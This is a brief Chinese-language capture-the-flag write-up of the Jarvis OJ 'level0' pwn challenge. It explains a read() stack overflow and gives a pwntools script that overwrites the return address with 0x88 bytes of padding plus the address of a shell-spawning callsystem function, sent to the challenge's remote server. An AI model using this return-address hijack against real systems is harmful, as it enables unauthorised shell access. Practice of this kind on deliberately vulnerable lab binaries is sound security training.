题目地址
https://dn.jarvisoj.com/challengefiles/level0.b9ded3801d6dd36a97468e128b81a65d
第一步先看文件的属性 64位

之后检查保护性

用IDA打开,观察伪代码F5
跳出hello world,然后返回vulnerable_function函数

这边发现一个可以直接get shell的函数callsystem

read函数存在栈溢出,我们可以利用栈溢出把返回地址覆盖程callsystem的入口地址


需要覆盖0x88个字符
代码如下
from pwn import *
r=remote('pwn2.jarvisoj.com',9881)
payload='a'*0x88+p64(0x400596)
r.sendline(payload)
r.interactive()
执行
